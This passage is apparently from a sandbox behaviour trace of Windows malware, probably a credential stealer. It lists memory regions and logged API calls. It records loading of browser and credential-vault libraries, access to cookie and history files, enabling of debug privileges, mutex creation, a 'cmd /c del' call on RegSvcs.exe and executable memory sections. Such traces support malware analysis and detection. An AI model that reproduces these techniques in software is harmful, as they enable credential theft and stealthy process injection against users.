"\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 3487 start_va = 0x31c0000 end_va = 0x33b4fff entry_point = 0x0 region_type = private name = "private_0x00000000031c0000" filename = "" Region: id = 3488 start_va = 0x75050000 end_va = 0x750cffff entry_point = 0x75050000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3489 start_va = 0x1df0000 end_va = 0x1e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001df0000" filename = "" Region: id = 3490 start_va = 0x3000000 end_va = 0x30defff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003000000" filename = "" Region: id = 3491 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 3492 start_va = 0x764b0000 end_va = 0x76532fff entry_point = 0x764b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 3493 start_va = 0x75540000 end_va = 0x755cefff entry_point = 0x75540000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 3494 start_va = 0x200000 end_va = 0x200fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 3495 start_va = 0x73a70000 end_va = 0x744effff entry_point = 0x73a70000 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll") Region: id = 3496 start_va = 0x75380000 end_va = 0x75384fff entry_point = 0x75380000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 3497 start_va = 0x73a30000 end_va = 0x73a6bfff entry_point = 0x73a30000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 3498 start_va = 0x76770000 end_va = 0x773b9fff entry_point = 0x76770000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 3499 start_va = 0x75660000 end_va = 0x756b6fff entry_point = 0x75660000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3500 start_va = 0x75f10000 end_va = 0x7610afff entry_point = 0x75f10000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 3501 start_va = 0x250000 end_va = 0x250fff entry_point = 0x250000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll") Region: id = 3502 start_va = 0x2a0000 end_va = 0x2a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 3503 start_va = 0x73890000 end_va = 0x73a2dfff entry_point = 0x73890000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 3504 start_va = 0x2b0000 end_va = 0x2b0fff entry_point = 0x2b0000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 3505 start_va = 0x2c0000 end_va = 0x2c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 3506 start_va = 0x33c0000 end_va = 0x368efff entry_point = 0x33c0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3507 start_va = 0x74720000 end_va = 0x7474dfff entry_point = 0x74720000 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\SysWOW64\\mlang.dll" (normalized: "c:\\windows\\syswow64\\mlang.dll") Region: id = 3508 start_va = 0x75740000 end_va = 0x75875fff entry_point = 0x75740000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 3509 start_va = 0x75a10000 end_va = 0x75b04fff entry_point = 0x75a10000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 3510 start_va = 0x2b0000 end_va = 0x2b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 3511 start_va = 0x75230000 end_va = 0x7523afff entry_point = 0x75230000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 3512 start_va = 0x2d0000 end_va = 0x2dbfff entry_point = 0x2d0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 3513 start_va = 0x3e0000 end_va = 0x3e7fff entry_point = 0x3e0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 3514 start_va = 0x3f0000 end_va = 0x3fffff entry_point = 0x3f0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 3515 start_va = 0x74330000 end_va = 0x744e4fff entry_point = 0x74330000 region_type = mapped_file name = "nss3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll") Region: id = 3516 start_va = 0x742f0000 end_va = 0x74321fff entry_point = 0x742f0000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 3517 start_va = 0x75220000 end_va = 0x75226fff entry_point = 0x75220000 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\SysWOW64\\wsock32.dll" (normalized: "c:\\windows\\syswow64\\wsock32.dll") Region: id = 3518 start_va = 0x758b0000 end_va = 0x758e4fff entry_point = 0x758b0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3519 start_va = 0x77790000 end_va = 0x77795fff entry_point = 0x77790000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3520 start_va = 0x74230000 end_va = 0x742eefff entry_point = 0x74230000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\SysWOW64\\msvcr100.dll" (normalized: "c:\\windows\\syswow64\\msvcr100.dll") Region: id = 3521 start_va = 0x75220000 end_va = 0x7522bfff entry_point = 0x75220000 region_type = mapped_file name = "vaultcli.dll" filename = "\\Windows\\SysWOW64\\vaultcli.dll" (normalized: "c:\\windows\\syswow64\\vaultcli.dll") Region: id = 3522 start_va = 0x74360000 end_va = 0x744effff entry_point = 0x74360000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll") Region: id = 3523 start_va = 0x31c0000 end_va = 0x338ffff entry_point = 0x0 region_type = private name = "private_0x00000000031c0000" filename = "" Region: id = 3524 start_va = 0x31e0000 end_va = 0x321ffff entry_point = 0x0 region_type = private name = "private_0x00000000031e0000" filename = "" Region: id = 3525 start_va = 0x3340000 end_va = 0x337ffff entry_point = 0x0 region_type = private name = "private_0x0000000003340000" filename = "" Region: id = 3526 start_va = 0x3380000 end_va = 0x338ffff entry_point = 0x0 region_type = private name = "private_0x0000000003380000" filename = "" Region: id = 3527 start_va = 0x3690000 end_va = 0x3b81fff entry_point = 0x0 region_type = private name = "private_0x0000000003690000" filename = "" Region: id = 3528 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 3529 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3530 start_va = 0x3220000 end_va = 0x331ffff entry_point = 0x0 region_type = private name = "private_0x0000000003220000" filename = "" Region: id = 3531 start_va = 0x74260000 end_va = 0x7435afff entry_point = 0x74260000 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll") Region: id = 3532 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 3533 start_va = 0x400000 end_va = 0x400fff entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3534 start_va = 0x3b90000 end_va = 0x3c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000003b90000" filename = "" Region: id = 3535 start_va = 0x3690000 end_va = 0x378ffff entry_point = 0x0 region_type = private name = "private_0x0000000003690000" filename = "" Region: id = 3554 start_va = 0x3790000 end_va = 0x3903fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003790000" filename = "" Region: id = 3556 start_va = 0x620000 end_va = 0x663fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 3558 start_va = 0x450000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 3614 start_va = 0x450000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 3615 start_va = 0x450000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Thread: id = 139 os_tid = 0xbe8 [0084.471] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x29eab4 | out: HeapArray=0x29eab4*=0x2e0000) returned 0x2 [0084.479] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows\\SysWOW64\\ntdll.dll", NtPathName=0x29ea64, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows\\SysWOW64\\ntdll.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0084.480] NtCreateFile (in: FileHandle=0x29ea84, DesiredAccess=0x120089, ObjectAttributes=0x29ea4c*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Windows\\SysWOW64\\ntdll.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29ea6c, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29ea84*=0x58, IoStatusBlock=0x29ea6c*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0084.489] NtQueryInformationFile (in: FileHandle=0x58, IoStatusBlock=0x29ea6c, FileInformation=0x29e9c4, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29ea6c, FileInformation=0x29e9c4) returned 0x0 [0084.785] NtQuerySystemInformation (in: SystemInformationClass=0x23, SystemInformation=0x29ea98, Length=0x2, ResultLength=0x0 | out: SystemInformation=0x29ea98, ResultLength=0x0) returned 0x0 [0084.788] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0x29eabc, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x29eabc, ReturnLength=0x0) returned 0x0 [0084.801] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x29e74c*=0x0, ZeroBits=0x0, RegionSize=0x29e750*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x29e74c*=0xa0000, RegionSize=0x29e750*=0x10000) returned 0x0 [0084.805] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xa0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xa0000, ResultLength=0x0) returned 0x0 [0084.816] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x29eaac*=0xa0000, RegionSize=0x29eab0, FreeType=0x8000) returned 0x0 [0084.826] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="USERNAME", Value=0x29e868 | out: Value="aETAdzjz") returned 0x0 [0084.829] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x29eac4 | out: TokenHandle=0x29eac4*=0x58) returned 0x0 [0084.833] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x29eab8 | out: lpLuid=0x29eab8*(LowPart=0x14, HighPart=0)) returned 1 [0084.838] NtAdjustPrivilegesToken (in: TokenHandle=0x58, DisableAllPrivileges=0, NewState=0x29eab4, BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 0x106 [0084.839] NtClose (Handle=0x58) returned 0x0 [0084.839] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="USERNAME", Value=0x29e60c | out: Value="aETAdzjz") returned 0x0 [0084.839] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="598MPR44", Value=0x29e8a4 | out: Value=0x29e8a4) returned 0xc0000100 [0084.840] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="USERNAME", Value=0x29e3ec | out: Value="aETAdzjz") returned 0x0 [0084.842] NtOpenDirectoryObject (in: FileHandle=0x29e698, DesiredAccess=0x2000f, ObjectAttributes=0x29e664*(Length=0x18, RootDirectory=0x0, ObjectName="\\BaseNamedObjects", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: FileHandle=0x29e698*=0x58) returned 0x0 [0084.844] NtCreateMutant (in: MutantHandle=0x29e8c4, DesiredAccess=0x1f0001, ObjectAttributes=0x29e64c*(Length=0x18, RootDirectory=0x58, ObjectName="598MPR44-CZEWG7B", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), InitialOwner=0 | out: MutantHandle=0x29e8c4*=0x9c) returned 0x0 [0084.844] NtClose (Handle=0x58) returned 0x0 [0084.844] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="USERNAME", Value=0x29e2cc | out: Value="aETAdzjz") returned 0x0 [0084.844] NtOpenDirectoryObject (in: FileHandle=0x29e690, DesiredAccess=0x2000f, ObjectAttributes=0x29e65c*(Length=0x18, RootDirectory=0x0, ObjectName="\\BaseNamedObjects", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: FileHandle=0x29e690*=0x58) returned 0x0 [0084.845] NtCreateMutant (in: MutantHandle=0x29e8bc, DesiredAccess=0x1f0001, ObjectAttributes=0x29e644*(Length=0x18, RootDirectory=0x58, ObjectName="9468738FSVT1AWZz", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), InitialOwner=0 | out: MutantHandle=0x29e8bc*=0xa0) returned 0x0 [0084.845] NtClose (Handle=0x58) returned 0x0 [0084.849] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="ProgramFiles", Value=0x29e4d4 | out: Value="C:\\Program Files (x86)") returned 0x0 [0084.849] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="APPDATA", Value=0x29e500 | out: Value="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x0 [0084.857] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\v4.0.30319\\RegSvcs.exe", NtPathName=0x29e4ac, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\v4.0.30319\\RegSvcs.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0084.859] NtCreateFile (in: FileHandle=0x29e4cc, DesiredAccess=0x120089, ObjectAttributes=0x29e494*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\v4.0.30319\\RegSvcs.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29e4b4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29e4cc*=0x0, IoStatusBlock=0x29e4b4*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0084.859] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe", NtPathName=0x29e87c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0084.859] NtCreateFile (in: FileHandle=0x29e89c, DesiredAccess=0x120089, ObjectAttributes=0x29e864*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29e884, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29e89c*=0x58, IoStatusBlock=0x29e884*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0084.862] NtQueryInformationFile (in: FileHandle=0x58, IoStatusBlock=0x29e884, FileInformation=0x29e7dc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29e884, FileInformation=0x29e7dc) returned 0x0 [0084.866] NtReadFile (in: FileHandle=0x58, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x29e884, Buffer=0x2f8278, BufferLength=0xb0a0, ByteOffset=0x29e7f4*=0, Key=0x0 | out: IoStatusBlock=0x29e884, Buffer=0x2f8278*) returned 0x0 [0084.884] NtClose (Handle=0x58) returned 0x0 [0084.884] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe", NtPathName=0x29e86c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0084.884] NtCreateFile (in: FileHandle=0x29e88c, DesiredAccess=0x120089, ObjectAttributes=0x29e854*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29e874, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29e88c*=0x58, IoStatusBlock=0x29e874*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0084.885] NtQueryInformationFile (in: FileHandle=0x58, IoStatusBlock=0x29e874, FileInformation=0x29e7cc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29e874, FileInformation=0x29e7cc) returned 0x0 [0084.885] NtClose (Handle=0x58) returned 0x0 [0084.885] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows\\SysWOW64\\ntdll.dll", NtPathName=0x29dd6c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows\\SysWOW64\\ntdll.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0084.885] NtCreateFile (in: FileHandle=0x29dd8c, DesiredAccess=0x120089, ObjectAttributes=0x29dd54*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Windows\\SysWOW64\\ntdll.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29dd74, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29dd8c*=0x58, IoStatusBlock=0x29dd74*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0084.885] NtQueryInformationFile (in: FileHandle=0x58, IoStatusBlock=0x29dd74, FileInformation=0x29dae8, Length=0x208, FileInformationClass=0x9 | out: IoStatusBlock=0x29dd74, FileInformation=0x29dae8) returned 0x0 [0084.885] NtClose (Handle=0x58) returned 0x0 [0084.886] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\cmd.exe", lpCommandLine="/c del \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x29e43c*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x29e480, hNewToken=0x0 | out: lpProcessInformation=0x29e480*(hProcess=0xa4, hThread=0x58, dwProcessId=0x8e8, dwThreadId=0x8e4), hNewToken=0x0) returned 1 [0084.899] NtWaitForSingleObject (Object=0xa4, Alertable=0, Time=0x0) returned 0x0 [0086.192] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="ProgramFiles", Value=0x29e158 | out: Value="C:\\Program Files (x86)") returned 0x0 [0086.549] SetErrorMode (uMode=0x8003) returned 0x1 [0086.551] NtCreateSection (in: SectionHandle=0x29e4e4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x29e260, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x29e4e4*=0xac) returned 0x0 [0086.555] NtMapViewOfSection (in: SectionHandle=0xac, ProcessHandle=0xffffffff, BaseAddress=0x29e4e8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x29e260*=0x29c00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x29e4e8*=0xa0000, SectionOffset=0x0, ViewSize=0x29e260*=0x2a000) returned 0x0 [0086.557] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x29e258*=0x0, ZeroBits=0x0, RegionSize=0x29e25c*=0x29c00, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0x29e258*=0x1d0000, RegionSize=0x29e25c*=0x2a000) returned 0x0 [0086.560] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x29df9c | out: TokenHandle=0x29df9c*=0xa8) returned 0x0 [0086.563] NtQueryInformationToken (in: TokenHandle=0xa8, TokenInformationClass=0x1, TokenInformation=0x29d794, TokenInformationLength=0x400, ReturnLength=0x29df94 | out: TokenInformation=0x29d794, ReturnLength=0x29df94) returned 0x0 [0086.564] ConvertSidToStringSidW () returned 0x1 [0086.565] NtClose (Handle=0xa8) returned 0x0 [0086.565] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x29e20c*=0x0, ZeroBits=0x0, RegionSize=0x29e210*=0x92423, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x29e20c*=0x1cb0000, RegionSize=0x29e210*=0x93000) returned 0x0 [0086.565] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x29e1f8*=0x0, ZeroBits=0x0, RegionSize=0x29e1fc*=0x92423, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x29e1f8*=0x1d50000, RegionSize=0x29e1fc*=0x93000) returned 0x0 [0086.585] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="windir", Value=0x29dfc4 | out: Value="C:\\Windows") returned 0x0 [0086.585] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows\\System32\\drivers\\etc\\hosts", NtPathName=0x29df8c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows\\System32\\drivers\\etc\\hosts", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0086.585] NtCreateFile (in: FileHandle=0x29dfac, DesiredAccess=0x120089, ObjectAttributes=0x29df74*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Windows\\System32\\drivers\\etc\\hosts", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29df94, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29dfac*=0xa8, IoStatusBlock=0x29df94*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0086.585] NtQueryInformationFile (in: FileHandle=0xa8, IoStatusBlock=0x29df94, FileInformation=0x29deec, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29df94, FileInformation=0x29deec) returned 0x0 [0086.585] NtClose (Handle=0xa8) returned 0x0 [0086.585] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows\\System32\\drivers\\etc\\hosts", NtPathName=0x29df7c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows\\System32\\drivers\\etc\\hosts", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0086.585] NtCreateFile (in: FileHandle=0x29df9c, DesiredAccess=0x120089, ObjectAttributes=0x29df64*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Windows\\System32\\drivers\\etc\\hosts", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29df84, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29df9c*=0xa8, IoStatusBlock=0x29df84*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0086.585] NtQueryInformationFile (in: FileHandle=0xa8, IoStatusBlock=0x29df84, FileInformation=0x29dedc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29df84, FileInformation=0x29dedc) returned 0x0 [0086.585] NtReadFile (in: FileHandle=0xa8, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x29df84, Buffer=0x304728, BufferLength=0x338, ByteOffset=0x29def4*=0, Key=0x0 | out: IoStatusBlock=0x29df84, Buffer=0x304728*) returned 0x0 [0086.586] NtClose (Handle=0xa8) returned 0x0 [0086.586] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x29e278*=0x0, ZeroBits=0x0, RegionSize=0x29e27c*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x29e278*=0xd0000, RegionSize=0x29e27c*=0x10000) returned 0x0 [0086.586] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xd0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xd0000, ResultLength=0x0) returned 0x0 [0086.600] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="USERNAME", Value=0x29d920 | out: Value="aETAdzjz") returned 0x0 [0086.600] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="APPDATA", Value=0x29dc8c | out: Value="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x0 [0086.600] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="APPDATA", Value=0x29dca4 | out: Value="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x0 [0086.600] NtCreateSection (in: SectionHandle=0x29f2d4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x29dcdc, SectionPageProtection=0x4, AllocationAttributes=0x8000000, FileHandle=0x0 | out: 